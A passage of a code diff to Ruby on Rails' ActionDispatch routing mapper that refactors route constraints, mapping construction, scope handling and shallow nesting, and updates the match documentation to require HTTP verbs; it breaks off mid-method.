@@ -3,132 +3,200 @@ require 'active_support/core_ext/hash/reverse_merge'
 require 'active_support/core_ext/hash/slice'
 require 'active_support/core_ext/enumerable'
 require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/module/remove_method'
 require 'active_support/inflector'
 require 'action_dispatch/routing/redirection'
+require 'action_dispatch/routing/endpoint'
 
 module ActionDispatch
   module Routing
     class Mapper
       URL_OPTIONS = [:protocol, :subdomain, :domain, :host, :port]
-      SCOPE_OPTIONS = [:path, :shallow_path, :as, :shallow_prefix, :module,
-                       :controller, :action, :path_names, :constraints,
-                       :shallow, :blocks, :defaults, :options]
-
-      class Constraints #:nodoc:
-        def self.new(app, constraints, request = Rack::Request)
-          if constraints.any?
-            super(app, constraints, request)
-          else
-            app
-          end
-        end
 
+      class Constraints < Endpoint #:nodoc:
         attr_reader :app, :constraints
 
-        def initialize(app, constraints, request)
-          @app, @constraints, @request = app, constraints, request
+        def initialize(app, constraints, dispatcher_p)
+          # Unwrap Constraints objects.  I don't actually think it's possible
+          # to pass a Constraints object to this constructor, but there were
+          # multiple places that kept testing children of this object.  I
+          # *think* they were just being defensive, but I have no idea.
+          if app.is_a?(self.class)
+            constraints += app.constraints
+            app = app.app
+          end
+
+          @dispatcher = dispatcher_p
+
+          @app, @constraints, = app, constraints
         end
 
-        def matches?(env)
-          req = @request.new(env)
+        def dispatcher?; @dispatcher; end
 
+        def matches?(req)
           @constraints.all? do |constraint|
             (constraint.respond_to?(:matches?) && constraint.matches?(req)) ||
               (constraint.respond_to?(:call) && constraint.call(*constraint_args(constraint, req)))
           end
-        ensure
-          req.reset_parameters
         end
 
-        def call(env)
-          matches?(env) ? @app.call(env) : [ 404, {'X-Cascade' => 'pass'}, [] ]
+        def serve(req)
+          return [ 404, {'X-Cascade' => 'pass'}, [] ] unless matches?(req)
+
+          if dispatcher?
+            @app.serve req
+          else
+            @app.call req.env
+          end
         end
 
         private
           def constraint_args(constraint, request)
-            constraint.arity == 1 ? [request] : [request.symbolized_path_parameters, request]
+            constraint.arity == 1 ? [request] : [request.path_parameters, request]
           end
       end
 
       class Mapping #:nodoc:
-        IGNORE_OPTIONS = [:to, :as, :via, :on, :constraints, :defaults, :only, :except, :anchor, :shallow, :shallow_path, :shallow_prefix, :format]
         ANCHOR_CHARACTERS_REGEX = %r{\A(\\A|\^)|(\\Z|\\z|\$)\Z}
-        WILDCARD_PATH = %r{\*([^/\)]+)\)?$}
 
-        attr_reader :scope, :path, :options, :requirements, :conditions, :defaults
+        attr_reader :requirements, :conditions, :defaults
+        attr_reader :to, :default_controller, :default_action, :as, :anchor
+
+        def self.build(scope, set, path, as, options)
+          options = scope[:options].merge(options) if scope[:options]
+
+          options.delete :only
+          options.delete :except
+          options.delete :shallow_path
+          options.delete :shallow_prefix
+          options.delete :shallow
 
-        def initialize(set, scope, path, options)
-          @set, @scope, @path, @options = set, scope, path, options
-          @requirements, @conditions, @defaults = {}, {}, {}
+          defaults = (scope[:defaults] || {}).merge options.delete(:defaults) || {}
 
-          normalize_options!
-          normalize_path!
-          normalize_requirements!
-          normalize_conditions!
-          normalize_defaults!
+          new scope, set, path, defaults, as, options
+        end
+
+        def initialize(scope, set, path, defaults, as, options)
+          @requirements, @conditions = {}, {}
+          @defaults = defaults
+          @set = set
+
+          @to                 = options.delete :to
+          @default_controller = options.delete(:controller) || scope[:controller]
+          @default_action     = options.delete(:action) || scope[:action]
+          @as                 = as
+          @anchor             = options.delete :anchor
+
+          formatted = options.delete :format
+          via = Array(options.delete(:via) { [] })
+          options_constraints = options.delete :constraints
+
+          path = normalize_path! path, formatted
+          ast  = path_ast path
+          path_params = path_params ast
+
+          options = normalize_options!(options, formatted, path_params, ast, scope[:module])
+
+
+          split_constraints(path_params, scope[:constraints]) if scope[:constraints]
+          constraints = constraints(options, path_params)
+
+          split_constraints path_params, constraints
+
+          @blocks = blocks(options_constraints, scope[:blocks])
+
+          if options_constraints.is_a?(Hash)
+            split_constraints path_params, options_constraints
+            options_constraints.each do |key, default|
+              if URL_OPTIONS.include?(key) && (String === default || Fixnum === default)
+                @defaults[key] ||= default
+              end
+            end
+          end
+
+          normalize_format!(formatted)
+
+          @conditions[:path_info] = path
+          @conditions[:parsed_path_info] = ast
+
+          add_request_method(via, @conditions)
+          normalize_defaults!(options)
         end
 
         def to_route
-          [ app, conditions, requirements, defaults, options[:as], options[:anchor] ]
+          [ app(@blocks), conditions, requirements, defaults, as, anchor ]
         end
 
         private
 
-          def normalize_path!
-            raise ArgumentError, "path is required" if @path.blank?
-            @path = Mapper.normalize_path(@path)
+          def normalize_path!(path, format)
+            path = Mapper.normalize_path(path)
 
-            if required_format?
-              @path = "#{@path}.:format"
-            elsif optional_format?
-              @path = "#{@path}(.:format)"
+            if format == true
+              "#{path}.:format"
+            elsif optional_format?(path, format)
+              "#{path}(.:format)"
+            else
+              path
             end
           end
 
-          def required_format?
-            options[:format] == true
-          end
-
-          def optional_format?
-            options[:format] != false && !path.include?(':format') && !path.end_with?('/')
+          def optional_format?(path, format)
+            format != false && !path.include?(':format') && !path.end_with?('/')
           end
 
-          def normalize_options!
-            @options.reverse_merge!(scope[:options]) if scope[:options]
-            path_without_format = path.sub(/\(\.:format\)$/, '')
-
+          def normalize_options!(options, formatted, path_params, path_ast, modyoule)
             # Add a constraint for wildcard route to make it non-greedy and match the
             # optional format part of the route by default
-            if path_without_format.match(WILDCARD_PATH) && @options[:format] != false
-              @options[$1.to_sym] ||= /.+?/
+            if formatted != false
+              path_ast.grep(Journey::Nodes::Star) do |node|
+                options[node.name.to_sym] ||= /.+?/
+              end
             end
 
-            if path_without_format.match(':controller')
-              raise ArgumentError, ":controller segment is not allowed within a namespace block" if scope[:module]
+            if path_params.include?(:controller)
+              raise ArgumentError, ":controller segment is not allowed within a namespace block" if modyoule
 
               # Add a default constraint for :controller path segments that matches namespaced
               # controllers with default routes like :controller/:action/:id(.:format), e.g:
               # GET /admin/products/show/1
               # => { controller: 'admin/products', action: 'show', id: '1' }
-              @options[:controller] ||= /.+?/
+              options[:controller] ||= /.+?/
             end
 
-            @options.merge!(default_controller_and_action)
+            if to.respond_to? :call
+              options
+            else
+              to_endpoint = split_to to
+              controller  = to_endpoint[0] || default_controller
+              action      = to_endpoint[1] || default_action
+
+              controller = add_controller_module(controller, modyoule)
+
+              options.merge! check_controller_and_action(path_params, controller, action)
+            end
           end
 
-          def normalize_requirements!
-            constraints.each do |key, requirement|
-              next unless segment_keys.include?(key) || key == :controller
-              verify_regexp_requirement(requirement) if requirement.is_a?(Regexp)
-              @requirements[key] = requirement
+          def split_constraints(path_params, constraints)
+            constraints.each_pair do |key, requirement|
+              if path_params.include?(key) || key == :controller
+                verify_regexp_requirement(requirement) if requirement.is_a?(Regexp)
+                @requirements[key] = requirement
+              else
+                @conditions[key] = requirement
+              end
             end
+          end
 
-            if options[:format] == true
+          def normalize_format!(formatted)
+            if formatted == true
               @requirements[:format] ||= /.+/
-            elsif Regexp === options[:format]
-              @requirements[:format] = options[:format]
-            elsif String === options[:format]
-              @requirements[:format] = Regexp.compile(options[:format])
+            elsif Regexp === formatted
+              @requirements[:format] = formatted
+              @defaults[:format] = nil
+            elsif String === formatted
+              @requirements[:format] = Regexp.compile(formatted)
+              @defaults[:format] = formatted
             end
           end
 
@@ -142,160 +210,133 @@ module ActionDispatch
             end
           end
 
-          def normalize_defaults!
-            @defaults.merge!(scope[:defaults]) if scope[:defaults]
-            @defaults.merge!(options[:defaults]) if options[:defaults]
-
-            options.each do |key, default|
-              next if Regexp === default || IGNORE_OPTIONS.include?(key)
-              @defaults[key] = default
-            end
-
-            if options[:constraints].is_a?(Hash)
-              options[:constraints].each do |key, default|
-                next unless URL_OPTIONS.include?(key) && (String === default || Fixnum === default)
-                @defaults[key] ||= default
+          def normalize_defaults!(options)
+            options.each_pair do |key, default|
+              unless Regexp === default
+                @defaults[key] = default
               end
             end
-
-            if Regexp === options[:format]
-              @defaults[:format] = nil
-            elsif String === options[:format]
-              @defaults[:format] = options[:format]
-            end
           end
 
-          def normalize_conditions!
-            @conditions.merge!(:path_info => path)
-
-            constraints.each do |key, condition|
-              next if segment_keys.include?(key) || key == :controller
-              @conditions[key] = condition
-            end
-
-            @conditions[:required_defaults] = []
-            options.each do |key, required_default|
-              next if segment_keys.include?(key) || IGNORE_OPTIONS.include?(key)
-              next if Regexp === required_default
-              @conditions[:required_defaults] << key
+          def verify_callable_constraint(callable_constraint)
+            unless callable_constraint.respond_to?(:call) || callable_constraint.respond_to?(:matches?)
+              raise ArgumentError, "Invalid constraint: #{callable_constraint.inspect} must respond to :call or :matches?"
             end
+          end
 
-            via_all = options.delete(:via) if options[:via] == :all
+          def add_request_method(via, conditions)
+            return if via == [:all]
 
-            if !via_all && options[:via].blank?
+            if via.empty?
               msg = "You should not use the `match` method in your router without specifying an HTTP method.\n" \
                     "If you want to expose your action to both GET and POST, add `via: [:get, :post]` option.\n" \
                     "If you want to expose your action to GET, use `get` in the router:\n" \
                     "  Instead of: match \"controller#action\"\n" \
                     "  Do: get \"controller#action\""
-              raise msg
-            end
-
-            if via = options[:via]
-              list = Array(via).map { |m| m.to_s.dasherize.upcase }
-              @conditions.merge!(:request_method => list)
+              raise ArgumentError, msg
             end
-          end
 
-          def app
-            Constraints.new(endpoint, blocks, @set.request_class)
+            conditions[:request_method] = via.map { |m| m.to_s.dasherize.upcase }
           end
 
-          def default_controller_and_action
+          def app(blocks)
             if to.respond_to?(:call)
-              { }
+              Constraints.new(to, blocks, false)
+            elsif blocks.any?
+              Constraints.new(dispatcher(defaults), blocks, true)
             else
-              if to.is_a?(String)
-                controller, action = to.split('#')
-              elsif to.is_a?(Symbol)
-                action = to.to_s
-              end
-
-              controller ||= default_controller
-              action     ||= default_action
-
-              unless controller.is_a?(Regexp)
-                controller = [@scope[:module], controller].compact.join("/").presence
-              end
-
-              if controller.is_a?(String) && controller =~ %r{\A/}
-                raise ArgumentError, "controller name should not start with a slash"
-              end
+              dispatcher(defaults)
+            end
+          end
 
-              controller = controller.to_s unless controller.is_a?(Regexp)
-              action     = action.to_s     unless action.is_a?(Regexp)
+          def check_controller_and_action(path_params, controller, action)
+            hash = check_part(:controller, controller, path_params, {}) do |part|
+              translate_controller(part) {
+                message = "'#{part}' is not a supported controller name. This can lead to potential routing problems."
+                message << " See http://guides.rubyonrails.org/routing.html#specifying-a-controller-to-use"
 
-              if controller.blank? && segment_keys.exclude?(:controller)
-                raise ArgumentError, "missing :controller"
-              end
+                raise ArgumentError, message
+              }
+            end
 
-              if action.blank? && segment_keys.exclude?(:action)
-                raise ArgumentError, "missing :action"
-              end
+            check_part(:action, action, path_params, hash) { |part|
+              part.is_a?(Regexp) ? part : part.to_s
+            }
+          end
 
-              if controller.is_a?(String) && controller !~ /\A[a-z_0-9\/]*\z/
-                message = "'#{controller}' is not a supported controller name. This can lead to potential routing problems."
-                message << " See http://guides.rubyonrails.org/routing.html#specifying-a-controller-to-use"
+          def check_part(name, part, path_params, hash)
+            if part
+              hash[name] = yield(part)
+            else
+              unless path_params.include?(name)
+                message = "Missing :#{name} key on routes definition, please check your routes."
                 raise ArgumentError, message
               end
-
-              hash = {}
-              hash[:controller] = controller unless controller.blank?
-              hash[:action]     = action unless action.blank?
-              hash
             end
+            hash
           end
 
-          def blocks
-            if options[:constraints].present? && !options[:constraints].is_a?(Hash)
-              [options[:constraints]]
+          def split_to(to)
+            if to =~ /#/
+              to.split('#')
             else
-              scope[:blocks] || []
+              []
             end
           end
 
-          def constraints
-            @constraints ||= {}.tap do |constraints|
-              constraints.merge!(scope[:constraints]) if scope[:constraints]
-
-              options.except(*IGNORE_OPTIONS).each do |key, option|
-                constraints[key] = option if Regexp === option
+          def add_controller_module(controller, modyoule)
+            if modyoule && !controller.is_a?(Regexp)
+              if controller =~ %r{\A/}
+                controller[1..-1]
+              else
+                [modyoule, controller].compact.join("/")
               end
-
-              constraints.merge!(options[:constraints]) if options[:constraints].is_a?(Hash)
+            else
+              controller
             end
           end
 
-          def segment_keys
-            @segment_keys ||= path_pattern.names.map{ |s| s.to_sym }
-          end
-
-          def path_pattern
-            Journey::Path::Pattern.new(strexp)
-          end
+          def translate_controller(controller)
+            return controller if Regexp === controller
+            return controller.to_s if controller =~ /\A[a-z_0-9][a-z_0-9\/]*\z/
 
-          def strexp
-            Journey::Router::Strexp.compile(path, requirements, SEPARATORS)
+            yield
           end
 
-          def endpoint
-            to.respond_to?(:call) ? to : dispatcher
+          def blocks(options_constraints, scope_blocks)
+            if options_constraints && !options_constraints.is_a?(Hash)
+              verify_callable_constraint(options_constraints)
+              [options_constraints]
+            else
+              scope_blocks || []
+            end
           end
 
-          def dispatcher
-            Routing::RouteSet::Dispatcher.new(:defaults => defaults)
+          def constraints(options, path_params)
+            constraints = {}
+            required_defaults = []
+            options.each_pair do |key, option|
+              if Regexp === option
+                constraints[key] = option
+              else
+                required_defaults << key unless path_params.include?(key)
+              end
+            end
+            @conditions[:required_defaults] = required_defaults
+            constraints
           end
 
-          def to
-            options[:to]
+          def path_params(ast)
+            ast.grep(Journey::Nodes::Symbol).map { |n| n.name.to_sym }
           end
 
-          def default_controller
-            options[:controller] || scope[:controller]
+          def path_ast(path)
+            parser = Journey::Parser.new
+            parser.parse path
           end
 
-          def default_action
-            options[:action] || scope[:action]
+          def dispatcher(defaults)
+            @set.dispatcher defaults
           end
       end
 
@@ -330,40 +371,61 @@ module ActionDispatch
           match '/', { :as => :root, :via => :get }.merge!(options)
         end
 
-        # Matches a url pattern to one or more routes. Any symbols in a pattern
-        # are interpreted as url query parameters and thus available as +params+
-        # in an action:
+        # Matches a url pattern to one or more routes.
+        #
+        # You should not use the +match+ method in your router
+        # without specifying an HTTP method.
+        #
+        # If you want to expose your action to both GET and POST, use:
         #
         #   # sets :controller, :action and :id in params
-        #   match ':controller/:action/:id'
+        #   match ':controller/:action/:id', via: [:get, :post]
+        #
+        # Note that +:controller+, +:action+ and +:id+ are interpreted as url
+        # query parameters and thus available through +params+ in an action.
+        #
+        # If you want to expose your action to GET, use +get+ in the router:
+        #
+        # Instead of:
+        #
+        #   match ":controller/:action/:id"
+        #
+        # Do:
+        #
+        #   get ":controller/:action/:id"
         #
         # Two of these symbols are special, +:controller+ maps to the controller
         # and +:action+ to the controller's action. A pattern can also map
         # wildcard segments (globs) to params:
         #
-        #   match 'songs/*category/:title', to: 'songs#show'
+        #   get 'songs/*category/:title', to: 'songs#show'
         #
         #   # 'songs/rock/classic/stairway-to-heaven' sets
         #   #  params[:category] = 'rock/classic'
         #   #  params[:title] = 'stairway-to-heaven'
         #
+        # To match a wildcard parameter, it must have a name assigned to it.
+        # Without a variable name to attach the glob parameter to, the route
+        # can't be parsed.
+        #
         # When a pattern points to an internal route, the route's +:action+ and
         # +:controller+ should be set in options or hash shorthand. Examples:
         #
-        #   match 'photos/:id' => 'photos#show'
-        #   match 'photos/:id', to: 'photos#show'
-        #   match 'photos/:id', controller: 'photos', action: 'show'
+        #   match 'photos/:id' => 'photos#show', via: :get
+        #   match 'photos/:id', to: 'photos#show', via: :get
+        #   match 'photos/:id', controller: 'photos', action: 'show', via: :get
         #
         # A pattern can also point to a +Rack+ endpoint i.e. anything that
         # responds to +call+:
         #
-        #   match 'photos/:id', to: lambda {|hash| [200, {}, ["Coming soon"]] }
-        #   match 'photos/:id', to: PhotoRackApp
+        #   match 'photos/:id', to: lambda {|hash| [200, {}, ["Coming soon"]] }, via: :get
+        #   match 'photos/:id', to: PhotoRackApp, via: :get
         #   # Yes, controller actions are just rack endpoints
-        #   match 'photos/:id', to: PhotosController.action(:show)
+        #   match 'photos/:id', to: PhotosController.action(:show), via: :get
         #
-        # Because request various HTTP verbs with a single action has security
-        # implications, is recommendable use HttpHelpers[rdoc-ref:HttpHelpers]
+        # Because requesting various HTTP verbs with a single action has security
+        # implications, you must either specify the actions in
+        # the via options or use one of the HttpHelpers[rdoc-ref:HttpHelpers]
         # instead +match+
         #
         # === Options
@@ -376,14 +438,20 @@ module ActionDispatch
         # [:action]
         #   The route's action.
         #
+        # [:param]
+        #   Overrides the default resource identifier +:id+ (name of the
+        #   dynamic segment used to generate the routes).
+        #   You can access that segment from your controller using
+        #   <tt>params[<:param>]</tt>.
+        #
         # [:path]
         #   The path prefix for the routes.
         #
         # [:module]
         #   The namespace for :controller.
         #
-        #     match 'path', to: 'c#a', module: 'sekret', controller: 'posts'
-        #     #=> Sekret::PostsController
+        #     match 'path', to: 'c#a', module: 'sekret', controller: 'posts', via: :get
+        #     # => Sekret::PostsController
         #
         #   See <tt>Scoping#namespace</tt> for its scope equivalent.
         #
@@ -401,9 +469,9 @@ module ActionDispatch
         #   Points to a +Rack+ endpoint. Can be an object that responds to
         #   +call+ or a string representing a controller's action.
         #
-        #      match 'path', to: 'controller#action'
-        #      match 'path', to: lambda { |env| [200, {}, ["Success!"]] }
-        #      match 'path', to: RackApp
+        #      match 'path', to: 'controller#action', via: :get
+        #      match 'path', to: lambda { |env| [200, {}, ["Success!"]] }, via: :get
+        #      match 'path', to: RackApp, via: :get
         #
         # [:on]
         #   Shorthand for wrapping routes in a specific RESTful context. Valid
@@ -428,14 +496,14 @@ module ActionDispatch
         #   other than path can also be specified with any object
         #   that responds to <tt>===</tt> (eg. String, Array, Range, etc.).
         #
-        #     match 'path/:id', constraints: { id: /[A-Z]\d{5}/ }
+        #     match 'path/:id', constraints: { id: /[A-Z]\d{5}/ }, via: :get
         #
-        #     match 'json_only', constraints: { format: 'json' }
+        #     match 'json_only', constraints: { format: 'json' }, via: :get
         #
-        #     class Blacklist
+        #     class Whitelist
         #       def matches?(request) request.remote_ip == '1.2.3.4' end
         #     end
-        #     match 'path', to: 'c#a', constraints: Blacklist.new
+        #     match 'path', to: 'c#a', constraints: Whitelist.new, via: :get
         #
         #   See <tt>Scoping#constraints</tt> for more examples with its scope
         #   equivalent.
@@ -444,7 +512,7 @@ module ActionDispatch
         #   Sets defaults for parameters
         #
         #     # Sets params[:format] to 'jpg' by default
-        #     match 'path', to: 'c#a', defaults: { format: 'jpg' }
+        #     match 'path', to: 'c#a', defaults: { format: 'jpg' }, via: :get
         #
         #   See <tt>Scoping#defaults</tt> for its scope equivalent.
         #
@@ -453,7 +521,7 @@ module ActionDispatch
         #   false, the pattern matches any request prefixed with the given path.
         #
         #     # Matches any request starting with 'path'
-        #     match 'path', to: 'c#a', anchor: false
+        #     match 'path', to: 'c#a', anchor: false, via: :get
         #
         # [:format]
         #   Allows you to specify the default value for optional +format+
@@ -495,12 +563,15 @@ module ActionDispatch
 
           raise "A rack application must be specified" unless path
 
-          options[:as]  ||= app_name(app)
+          rails_app = rails_app? app
+          options[:as] ||= app_name(app, rails_app)
+
+          target_as       = name_for_action(options[:as], path)
           options[:via] ||= :all
 
           match(path, options.merge(:to => app, :anchor => false, :format => false))
 
-          define_generate_prefix(app, options[:as])
+          define_generate_prefix(app, target_as) if rails_app
           self
         end
 
@@ -521,35 +592,36 @@ module ActionDispatch
         end
 
         private
-          def app_name(app)
-            return unless app.respond_to?(:routes)
+          def rails_app?(app)
+            app.is_a?(Class) && app < Rails::Railtie
+          end
 
-            if app.respond_to?(:railtie_name)
+          def app_name(app, rails_app)
+            if rails_app
               app.railtie_name
-            else
-              class_name = app.class.is_a?(Class) ? app.name : app.class.name
+            elsif app.is_a?(Class)
+              class_name = app.name
               ActiveSupport::Inflector.underscore(class_name).tr("/", "_")
             end
           end
 
           def define_generate_prefix(app, name)
-            return unless app.respond_to?(:routes) && app.routes.respond_to?(:define_mounted_helper)
-
-            _route = @set.named_routes.routes[name.to_sym]
+            _route = @set.named_routes.get name
             _routes = @set
             app.routes.define_mounted_helper(name)
-            app.routes.singleton_class.class_eval do
-              define_method :mounted? do
-                true
-              end
-
-              define_method :_generate_prefix do |options|
-                prefix_options = options.slice(*_route.segment_keys)
-                # we must actually delete prefix segment keys to avoid passing them to next url_for
-                _route.segment_keys.each { |k| options.delete(k) }
-                _routes.url_helpers.send("#{name}_path", prefix_options)
+            app.routes.extend Module.new {
+              def optimize_routes_generation?; false; end
+              define_method :find_script_name do |options|
+                if options.key? :script_name
+                  super(options)
+                else
+                  prefix_options = options.slice(*_route.segment_keys)
+                  # we must actually delete prefix segment keys to avoid passing them to next url_for
+                  _route.segment_keys.each { |k| options.delete(k) }
+                  _routes.url_helpers.send("#{name}_path", prefix_options)
+                end
               end
-            end
+            }
           end
       end
 
@@ -636,7 +708,7 @@ module ActionDispatch
       #   resources :posts, module: "admin"
       #
       # If you want to route /admin/posts to +PostsController+
-      # (without the Admin:: module prefix), you could use
+      # (without the <tt>Admin::</tt> module prefix), you could use
       #
       #   scope "/admin" do
       #     resources :posts
@@ -690,11 +762,16 @@ module ActionDispatch
         #   end
         def scope(*args)
           options = args.extract_options!.dup
-          recover = {}
+          scope = {}
 
           options[:path] = args.flatten.join('/') if args.any?
           options[:constraints] ||= {}
 
+          unless nested_scope?
+            options[:shallow_path] ||= options[:path] if options.key?(:path)
+            options[:shallow_prefix] ||= options[:as] if options.key?(:as)
+          end
+
           if options[:constraints].is_a?(Hash)
             defaults = options[:constraints].select do
               |k, v| URL_OPTIONS.include?(k) && (v.is_a?(String) || v.is_a?(Fixnum))
@@ -705,7 +782,7 @@ module ActionDispatch
             block, options[:constraints] = options[:constraints], {}
           end
 
-          SCOPE_OPTIONS.each do |option|
+          @scope.options.each do |option|
             if option == :blocks
               value = block
             elsif option == :options
@@ -715,15 +792,15 @@ module ActionDispatch
             end
 
             if value
-              recover[option] = @scope[option]
-              @scope[option]  = send("merge_#{option}_scope", @scope[option], value)
+              scope[option] = send("merge_#{option}_scope", @scope[option], value)
             end
           end
 
+          @scope = @scope.new scope
           yield
           self
         ensure
-          @scope.merge!(recover)
+          @scope = @scope.parent
         end
 
         # Scopes routes to a specific controller
@@ -776,9 +853,16 @@ module ActionDispatch
         #   end
         def namespace(path, options = {})
           path = path.to_s
-          options = { :path => path, :as => path, :module => path,
-                      :shallow_path => path, :shallow_prefix => path }.merge!(options)
-          scope(options) { yield }
+
+          defaults = {
+            module:         path,
+            path:           options.fetch(:path, path),
+            as:             options.fetch(:as, path),
+            shallow_path:   options.fetch(:path, path),
+            shallow_prefix: options.fetch(:as, path)
+          }
+
+          scope(defaults.merge!(options)) { yield }
         end
 
         # === Parameter Restriction
@@ -954,8 +1038,6 @@ module ActionDispatch
         VALID_ON_OPTIONS  = [:new, :collection, :member]
         RESOURCE_OPTIONS  = [:as, :controller, :path, :only, :except, :param, :concerns]
         CANONICAL_ACTIONS = %w(index create new show update destroy)
-        RESOURCE_METHOD_SCOPES = [:collection, :member, :new]
-        RESOURCE_SCOPES = [:resource, :resources]
 
         class Resource #:nodoc:
           attr_reader :controller, :path, :options, :param
@@ -967,6 +1049,7 @@ module ActionDispatch
             @as         = options[:as]
             @param      = (options[:param] || :id).to_sym
             @options    = options
+            @shallow    = false
           end
 
           def default_actions
@@ -1027,6 +1110,13 @@ module ActionDispatch
             "#{path}/:#{nested_param}"
           end
 
+          def shallow=(value)
+            @shallow = value
+          end
+
+          def shallow?
+            @shallow
+          end
         end
 
         class SingletonResource < Resource #:nodoc:
@@ -1066,18 +1156,18 @@ module ActionDispatch
         # a singular resource to map /profile (rather than /profile/:id) to
         # the show action:
         #
-        #   resource :geocoder
+        #   resource :profile
         #
         # creates six different routes in your application, all mapping to
-        # the +GeoCoders+ controller (note that the controller is named after
+        # the +Profiles+ controller (note that the controller is named after
         # the plural):
         #
-        #   GET       /geocoder/new
-        #   POST      /geocoder
-        #   GET       /geocoder
-        #   GET       /geocoder/edit
-        #   PATCH/PUT /geocoder
-        #   DELETE    /geocoder
+        #   GET       /profile/new
+        #   POST      /profile
+        #   GET       /profile
+        #   GET       /profile/edit
+        #   PATCH/PUT /profile
+        #   DELETE    /profile
         #
         # === Options
         # Takes same options as +resources+.
@@ -1307,8 +1397,10 @@ module ActionDispatch
           end
 
           with_scope_level(:member) do
-            scope(parent_resource.member_scope) do
-              yield
+            if shallow?
+              shallow_scope(parent_resource.member_scope) { yield }
+            else
+              scope(parent_resource.member_scope) { yield }
             end
           end
         end
@@ -1331,16 +1423,8 @@ module ActionDispatch
           end
 
           with_scope_level(:nested) do
-            if shallow?
-              with_exclusive_scope do
-                if @scope[:shallow_path].blank?
-                  scope(parent_resource.nested_scope, nested_options) { yield }
-                else
-                  scope(@scope[:shallow_path], :as => @scope[:shallow_prefix]) do
-                    scope(parent_resource.nested_scope, nested_options) { yield }
-                  end
-                end
-              end
+            if shallow? && shallow_nesting_depth >= 1
+              shallow_scope(parent_resource.nested_scope, nested_options) { yield }
             else
               scope(parent_resource.nested_scope, nested_options) { yield }
             end
@@ -1357,7 +1441,7 @@ module ActionDispatch
         end
 
         def shallow
-          scope(:shallow => true, :shallow_path => @scope[:path]) do
+          scope(:shallow => true) do
             yield
           end
         end
@@ -1373,7 +1457,20 @@ module ActionDispatch
           if rest.empty? && Hash === path
             options  = path
             path, to = options.find { |name, _value| name.is_a?(String) }
-            options[:to] = to
+
+            case to
+            when Symbol
+              options[:action] = to
+            when String
+              if to =~ /#/
+                options[:to] = to
+              else
+                options[:controller] = to
+              end
+            else
+              options[:to] = to
+            end
+
             options.delete(path)
             paths = [path]
           else
@@ -1398,6 +1495,7 @@ module ActionDispatch
             path_without_format = _path.to_s.sub(/\(\.:format\)$/, '')
             if using_match_shorthand?(path_without_format, route_options)
               route_options[:to] ||= path_without_format.gsub(%r{^/}, "").sub(%r{/([^/]*)$}, '#\1')
+              route_options[:to].tr!("-", "_")
             end
 
             decomposed_match(_path, route_options)
@@ -1413,7 +1511,7 @@ module ActionDispatch
           if on = options.delete(:on)
             send(on) { decomposed_match(path, options) }
           else
-            case @scope[:scope_level]
+            case @scope.scope_level
             when :resources
               nested { decomposed_match(path, options) }
             when :resource
@@ -1426,21 +1524,23 @@ module ActionDispatch
 
         def add_route(action, options) # :nodoc:
           path = path_for_action(action, options.delete(:path))
+          raise ArgumentError, "path is required" if path.blank?
+
           action = action.to_s.dup
 
-          if action =~ /^[\w\/]+$/
-            options[:action] ||= action unless action.include?("/")
+          if action =~ /^[\w\-\/]+$/
+            options[:action] ||= action.tr('-', '_') unless action.include?("/")
           else
             action = nil
           end
 
-          if !options.fetch(:as, true)
-            options.delete(:as)
-          else
-            options[:as] = name_for_action(options[:as], action)
-          end
+          as = if !options.fetch(:as, true) # if it's set to nil or false
+                 options.delete(:as)
+               else
+                 name_for_action(options.delete(:as), action)
+               end
 
-          mapping = Mapping.new(@set, @scope, URI.parser.escape(path), options)
+          mapping = Mapping.build(@scope, @set, URI.parser.escape(path), as, options)
           app, conditions, requirements, defaults, as, anchor = mapping.to_route
           @set.add_route(app, conditions, requirements, defaults, as, anchor)
         end
@@ -1454,7 +1554,7 @@ module ActionDispatch
             raise ArgumentError, "must be called with a path and/or options"
           end
 
-          if @scope[:scope_level] == :resources
+          if @scope.resources?
             with_scope_level(:root) do
               scope(parent_resource.path) do
                 super(options)
@@ -1477,6 +1577,13 @@ module ActionDispatch
               return true
             end
 
+            if options.delete(:shallow)
+              shallow do
+                send(method, resources.pop, options, &block)
+              end
+              return true
+            end
+
             if resource_scope?
               nested { send(method, resources.pop, options, &block) }
               return true
@@ -1514,41 +1621,47 @@ module ActionDispatch
           end
 
           def resource_scope? #:nodoc:
-            RESOURCE_SCOPES.include? @scope[:scope_level]
+            @scope.resource_scope?
           end
 
           def resource_method_scope? #:nodoc:
-            RESOURCE_METHOD_SCOPES.include? @scope[:scope_level]
+            @scope.resource_method_scope?
+          end
+
+          def nested_scope? #:nodoc:
+            @scope.nested?
           end
 
           def with_exclusive_scope
             begin
-              old_name_prefix, old_path = @scope[:as], @scope[:path]
-              @scope[:as], @scope[:path] = nil, nil
+              @scope = @scope.new(:as => nil, :path => nil)
 
               with_scope_level(:exclusive) do
                 yield
               end
             ensure
-              @scope[:as], @scope[:path] = old_name_prefix, old_path
+              @scope = @scope.parent
             end
           end
 
-          def with_scope_level(kind, resource = parent_resource)
-            old, @scope[:scope_level] = @scope[:scope_level], kind
-            old_resource, @scope[:scope_level_resource] = @scope[:scope_level_resource], resource
+          def with_scope_level(kind)
+            @scope = @scope.new_level(kind)
             yield
           ensure
-            @scope[:scope_level] = old
-            @scope[:scope_level_resource] = old_resource
+            @scope = @scope.parent
           end
 
           def resource_scope(kind, resource) #:nodoc:
-            with_scope_level(kind, resource) do
-              scope(parent_resource.resource_scope) do
-                yield
-              end
+            resource.shallow = @scope[:shallow]
+            @scope = @scope.new(:scope_level_resource => resource)
+            @nesting.push(resource)
+
+            with_scope_level(kind) do
+              scope(parent_resource.resource_scope) { yield }
             end
+          ensure
+            @nesting.pop
+            @scope = @scope.parent
           end
 
           def nested_options #:nodoc:
@@ -1560,6 +1673,14 @@ module ActionDispatch
             options
           end
 
+          def nesting_depth #:nodoc:
+            @nesting.size
+          end
+
+          def shallow_nesting_depth #:nodoc:
+            @nesting.select(&:shallow?).size
+          end
+
           def param_constraint? #:nodoc:
             @scope[:constraints] && @scope[:constraints][parent_resource.param].is_a?(Regexp)
           end
@@ -1568,22 +1689,25 @@ module ActionDispatch
             @scope[:constraints][parent_resource.param]
           end
 
-          def canonical_action?(action, flag) #:nodoc:
-            flag && resource_method_scope? && CANONICAL_ACTIONS.include?(action.to_s)
+          def canonical_action?(action) #:nodoc:
+            resource_method_scope? && CANONICAL_ACTIONS.include?(action.to_s)
           end
 
-          def shallow_scoping? #:nodoc:
-            shallow? && @scope[:scope_level] == :member
+          def shallow_scope(path, options = {}) #:nodoc:
+            scope = { :as   => @scope[:shallow_prefix],
+                      :path => @scope[:shallow_path] }
+            @scope = @scope.new scope
+
+            scope(path, options) { yield }
